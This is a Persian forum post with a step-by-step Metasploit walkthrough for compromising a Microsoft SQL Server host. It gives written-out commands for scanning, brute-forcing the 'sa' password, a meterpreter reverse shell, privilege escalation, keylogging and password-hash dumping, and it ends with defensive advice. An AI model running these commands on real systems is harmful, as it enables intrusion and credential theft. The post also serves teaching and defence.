اطلاعیه

Collapse
No announcement yet.

حمله به SQL Server و در اختیار گرفتن کنترل سامانه

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • حمله به SQL Server Ùˆ در اختیار گرفتن کنترل سامانه

    حمله به SQL Server و در اختیار گرفتن کنترل سامانه




    بسیاری از مدیران سامانه ها و پایگاه های داده بر این باورند وقتی صحبت از اس کیوال سرور به میان می آید پیچیدگی گذرواژه چندان افاقه نمی کند.

    اخیراً محققان از یک نسخه ی استاندارد لینوکس به نام کالی لینوکس و چارچوب متااسپلویت از پیش نصب شده ی آن برای صورت دادن یک سری حملات استفاده کرده اند. اهداف آن ها رایانه ای با سامانه ی عامل XP بوده که نسخه ای از مایکروسافت اس کیو ال سرور ۲۰۰۵ را اجرا می کرده است. حملات این چنینی روی هر نوع بستر مجهز به مایکروسافت اس کیوال سرور و سامانه های عامل ویندوزی عملی هستند. زیرا ضعف موجود در این سامانه ها همان قدرت گذرواژه است، نه خود محیط.

    توصیف حمله

    مانند هر حمله ی دیگری، در وهله ی اول می بایست اطلاعاتی راجع به سامانه ی عامل مقصد به دست بیاید. یکی از گزینه های مطرح استفاده از NMAP برای پویش یک محدوده ی مشخص از IPها برای یافتن پورت های استاندارد SQL است.

    دستورات:
    Nmap –sT –A –PO 192.168.23.0/24



    این متااسپلویت از پویش گر توکار mssql_ping نیز استفاده می کند. این پویش گر هرگونه کارگزار مایکروسافت اس کیوال را در محدوده های IP مشخص شناسایی می کند.

    دستورات:


    use auxiliary/scanner/mssql/mssql_ping
    set RHOSTS 192.168.23.0/24 (our target IP range)
    set THREADS 8
    run


    حال که سامانه ی هدف مشخص شده (192.168.23.100) و اطلاعاتی راجع به نسخه ی مایکروسافت اس کیو ال سرور مورد استفاده در آن به دست آمده (2005 SP4، پورت ۱۴۳۳ TCP)، می توان گام بعدی را آغاز کرد.

    حمله

    این حمله بر مبنای یک اصل ساده استوار است. در اغلب موارد مایکروسافت اس کیوال سرور در یک حالت ترکیبی نصب می شود. کاربر پیش فرض اس کیو ال سرور در این حالت «sa» است. در اکثر اوقات گذرواژه ی ساده ای برای این کاربر استفاده می شود. بدین معنا که انجام یک جست وجوی فراگیر به کمک یک پرونده ی واژه نامه برای یافتن چنین گذرواژه ای کار سختی نیست. این پرونده های واژه نامه را می توان بارگیری یا تولید کرد.

    مزایای تولید یک فهرست سفارشی این است که امکان اضافه نمودن دستی واژگان دیگر مانند اسامی نرم افزارها و یا شرکت ها توسط برخی از ابزارها مهیا می شود. این ویژگی می تواند گذرواژه ای همچون «Sandstone01» را برای نسخه های از اس کیو ال که پایگاه داده ی نرم افزار «Sandstone» را اجرا می کنند، تحت پوشش قرار دهد. برای این حمله از ابزار توکار MSSQL_Login استفاده شده است. پس از مشخص کردن هدف و پرونده ی گذرواژه، حمله ی واژه نامه شروع می شود.


    دستورات:

    use auxiliary/scanner/mssql/mssql_login
    Set PASS_FILE /root/passwords.txt (the dictionary file)
    Set RHOSTS 192.168.23.100
    Set Threads 8
    Set verbose false
    run


    چنانچه این گام حمله با موفقیت همراه باشد، گذرواژه ی SA پیدا خواهد شد. این گذرواژه به خودی خود می تواند قطعه ی اطلاعاتی ارزش مندی باشد که امکان دست کاری پایگاه داده را فراهم می کند. پژوهش گران در حمله ی مورد نظر از حساب کاربری SA برای دسترسی به سامانه ی عامل ویندوزِ در حال اجرا استفاده کرده اند.

    نحوه ی اجرای کد مخرب

    حال پژوهش گران می توانند از این گذرواژه ی SA برای برقراری اتصال به هدف استفاده کنند. کالی لینوکس دارای ابزار تعبیه شده ای به نام mssql_payload است. این ابزار به محققان اجازه می دهد یک کد مخرب را به کمک اطلاعات محرمانه ی جدید از طریق پورت ۱۴۳۳ ارسال نمایند. در ادامه از این کد مخرب برای پیاده سازی یک جلسه ی کاری میان هدف و عامل حمله استفاده می شود.

    دستورات:

    use exploit/windows/mssql/mssql_payload
    set RHOST 192.168.23.100 (our target)
    set password Password01 (which we have just cracked)
    use payload/windows/meterpreter/reverse_tcp (our selected payload)
    Exploit



    در اینجا قسمت سرگرم کننده ی ماجرا آغاز می شود. جلسه ی کاری در هدف آغاز به کار می کند و به این ترتیب دست پژوهش گران برای انتخاب دستورات بی شماری باز می شود. به خاطر داشته باشید که ضدبدافزارهای بسیاری قادرند پرونده های Meterpreter را بعد از نصب در رایانه ی هدف شناسایی و حذف کنند. با این حال از روی سوابق و تجربیات می توان گفت که خیل عظیمی از مدیران اس کیو ال سرور برای دست یابی به حداکثر کارایی در پایگاه داده ای که توسط کارگزار مورد نظرشان میزبانی می شود، هرگونه پویش هنگامِ دسترسی را غیرفعال می کنند. اگر هدف ضدبدافزار خود را به طور مثال فقط در طول شب فعال کند، مدت زمان فراوانی را برای حمله و به چنگ آوردن اطلاعات سامانه در اختیار مهاجمان قرار می دهد و به آن ها اجازه می دهد گم نام باقی بمانند.

    به جای استفاده از کد مخرب Meterpreter می توان از محتوای مخرب دیگری هم کمک گرفت. برای این کار کافی است دستورات فوق را اجرا کرد، تنها می بایست نام کد مخرب را تغییر داد. مثلاً کد مخرب «generic/shell_bind_tcp» می تواند به رابط خط فرمان سامانه ی مقصد دست پیدا کند.

    تشدید امتیازها

    برای اجرای بسیاری از این دستورها لازم است سطح دسترسی کاربری افزایش پیدا کند. برای دسترسی به امتیازهای مدیریتی می بایست ابزارهایی نظیر کی لاگر و نر م افزارهایی را که برای تهیه ی اسکرین شات یا استخراج گذرواژه به کار می روند استفاده کرد.

    این کار با پوسته ی Meterpreter آسان است. نخست با دستور «ps» فهرستی از فرآیندهای در حال اجرا ایجاد می شود. سپس می توان از دستور «migrate» به فرآیندی رفت که سطح دسترسی بالاتری نیاز دارد. در این مورد فرآیندی با ویژگی مذکور explorer.exe می باشد.

    در این مرحله به یک دستور دیگر برای استفاده نیاز است: getsystem. این دستور امکان دسترسی به سامانه ی meterpreter را به سامانه ای می دهد که با دستور migrate فراخوانی شده است. بدون این دستور در صورت اجرای فرآیند migrate با عبارت «امتیاز ناکافی» مواجه خواهیم شد.

    دستورات:

    Ps (این دستور فرآیندهای در حال اجرا را به همراه پی آی دی های آن ها نشان خواهد داد)
    Getsystem (برای دسترسی به امتیازهای سامانه)
    Migrate 1064 (explorer.exe PID در این مثال)





    جمع آوری اطلاعات

    حال که به طور کامل به سامانه دسترسی پیدا کرده ایم، می توانیم از ابزارهای دیگری برای جمع آوری اطلاعاتی که نیاز داریم استفاده کنیم:

    دستورات:
    Screenshot

    این دستور به تهیه ی اسکرین شات از هدف و ذخیره ی آن در قالب یک پرونده ی jpeg در سامانه ی محلی منجر می شود.

    دستورات:
    Run post/windows/capture/keylog_recorder



    این دستور باعث اجرای یک کی لاگر در سامانه ی هدف و ذخیره ی متن ثبت شده در یک پرونده ی موجود در سامانه ی محلی می شود. این کی لاگر را می توان برای به دست آوردن جزئیات ورود به صفحات وب، حساب های کاربری بانکی و اطلاعات کارت اعتباری استفاده کرد. با وجود این چندان جای نگرانی وجود ندارد. زیرا بسیاری از برنامه های ضدبدافزاری می توانند به راحتی این کی لاگر را شناسایی کنند.



    دستورات:

    Migrate 772 (services.exe برای PID)
    Run post/windows/gather/hashdump


    گذرواژه های کاربران اغلب به صورت عبارت های درهم یک طرفه ذخیره می شوند. این عبارات درهم را می توان به کمک حملات جست وجوی فراگیر پیشرفته و یا حملات پیچیده تر مانند حمله ی واژه نامه یا جدول رنگین کمان3 کشف رمز کرد.

    برای به دست آوردن مقادیر درهم از سامانه ی هدف می بایست به فرآیند services.exe مهاجرت کرد تا به این طریق بتوان به یک سطح دسترسی مناسب رسید.

    این مقادیر را می توان در بسیاری از ابزارهای جست وجوی فراگیر گذرواژه مانند Ophcrack و Hashcat به کار گرفت.


    نتیجه

    محققان ضمن پیمودن این چند گام توانسته اند هرگونه دیوار آتش احتمالی را با استفاده از یک پورت باز اس کیوال سرور دور بزنند و به پایگاه داده دسترسی کامل پیدا کنند، سپس از این امکان برای دسترسی کامل به سامانه ی عامل نمایند. به این ترتیب متوجه شدیم که به کمک کی لاگر و گذرواژه های استخراج شده از عبارت های درهم می توان جزئیات سودمندتری مانند شناسه و گذرواژه را برای دستیابی به سایر سامانه ها به دست آورد.

    چگونگی رویارویی با این حمله

    چندین گزینه برای محافظت از سامانه مقابل این حمله وجود دارد. در وهله ی اول: استفاده از گذرواژه ی مناسب! اس کیو ال سرور هرگز نباید از گذرواژه ی پیش پا افتاد ه ای مانند SA استفاده کند،
    گذرواژه ی ساده ای که به سهولت می توان آن را با حملات جست وجوی فراگیر و با تلاشی اندک به دست آورد. جدا از این ها، با یک سامانه ی تشخیص نفوذ یا نظارت بر گزارش عمل کردها به طور خودکار یا دستی می توان حملات جست وجوی فراگیر را از روی تلاش های ناموفق بی شمار برای ورود به سامانه کشف کرد. یکی دیگر از راه کارهای مقابله با حمله اجرای یک پویش ضدبدافزاری است. در این مثال، کد مخرب شناسایی شده و پاک می شود و یا پیش از آسیب وارد کردن به هر اطلاعاتی راه آن سد می شود.


    منبع +
    Last edited by codex; 12-01-2013, 11:33 PM.
Working...
X